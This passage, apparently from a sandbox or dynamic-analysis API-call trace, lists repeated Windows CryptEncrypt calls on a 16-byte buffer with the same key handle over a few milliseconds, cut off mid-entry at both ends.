pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.420] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.420] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.420] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.420] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.420] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.420] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.420] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.420] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.420] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.420] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.420] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.420] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.420] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.420] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.420] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.420] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.420] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.420] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.420] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.420] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.420] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.420] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.421] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.421] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.421] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.421] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.421] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.421] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.421] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.421] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.421] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.421] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.421] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.421] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.421] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.421] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.421] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.422] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.423] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.423] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.423] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.423] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.423] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.423] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.423] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.423] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.423] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.423] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.423] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.423] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.423] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.423] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.423] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.423] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.423] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.424] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: 